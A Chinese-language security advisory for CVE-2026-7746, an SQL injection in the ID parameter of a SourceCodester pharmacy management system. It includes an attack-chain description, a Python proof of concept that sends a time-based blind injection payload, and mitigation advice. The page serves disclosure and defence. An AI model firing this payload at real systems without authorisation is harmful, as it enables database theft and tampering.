IPBUF安全漏洞报告
English
CVE-2026-7746 CVSS 6.3 中危

SourceCodester药房管理系统SQL注入漏洞 (CVE-2026-7746)

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-7746
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Web-based Pharmacy Product Management System

相关标签

SQL注入Web安全SourceCodesterCVE-2026-7746远程代码执行

漏洞概述

SourceCodester Web-based Pharmacy Product Management System 1.0版本被发现存在SQL注入漏洞。该漏洞的根本原因在于系统未能正确处理/product_expiry/edit-admin.php文件中的ID参数,导致攻击者可以注入恶意SQL代码。由于攻击无需复杂交互且利用门槛较低,远程攻击者可借此获取敏感数据库信息或破坏数据完整性,建议尽快修复。

技术细节

该漏洞具体影响SourceCodester药房管理系统1.0版本中的`/product_expiry/edit-admin.php`接口。在处理编辑产品过期时间的请求时,后端代码直接获取HTTP请求中的`ID`参数,并将其拼接到SQL查询语句中执行,未进行任何有效的输入验证或转义。这种不安全的编码方式导致了经典的SQL注入漏洞。攻击者可以通过发送特制的HTTP GET或POST请求,在`ID`参数中嵌入Union查询或布尔盲注语句。由于CVSS向量显示攻击复杂度低且无需用户交互,攻击者可轻易利用此漏洞从数据库中提取管理员凭据、用户数据等敏感信息,甚至进一步控制数据库服务器,造成严重的信息泄露和破坏。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是SourceCodester Web-based Pharmacy Product Management System 1.0版本,并定位到敏感文件/product_expiry/edit-admin.php。
STEP 2
漏洞探测
攻击者向目标端点发送包含特殊SQL字符(如单引号)的测试请求,观察应用响应,确认ID参数存在SQL注入漏洞。
STEP 3
漏洞利用
攻击者构造恶意的SQL注入Payload(如UNION SELECT或布尔盲注语句),通过修改ID参数发送至服务器。
STEP 4
数据窃取或破坏
后端数据库执行恶意SQL语句,返回敏感数据(如管理员密码)或修改/删除数据库内容,导致系统完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-7746 # Target: SourceCodester Web-based Pharmacy Product Management System 1.0 # Endpoint: /product_expiry/edit-admin.php # Parameter: ID import requests def check_sqli(target_url): # Payload to test for time-based blind SQL injection # If the database pauses for 5 seconds, the application is vulnerable. payload = "1' AND SLEEP(5)-- -" full_url = f"{target_url}/product_expiry/edit-admin.php" params = { "ID": payload } try: print(f"[+] Sending request to {full_url}...") response = requests.get(full_url, params=params, timeout=10) # Check if the response time indicates a delay (SQL Injection) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed! The application responded with a delay.") else: print("[-] Vulnerability not detected or payload invalid.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli(target)

影响范围

SourceCodester Web-based Pharmacy Product Management System 1.0

防御指南

临时缓解措施
在官方修复补丁发布前,建议限制对/product_expiry/edit-admin.php目录的访问权限,仅允许可信的内网IP访问。同时,应在Web应用防火墙(WAF)中添加针对该特定参数的过滤规则,拦截包含单引号、AND、OR、SELECT等SQL关键字的恶意请求。此外,应加强对数据库日志的审计,以便及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表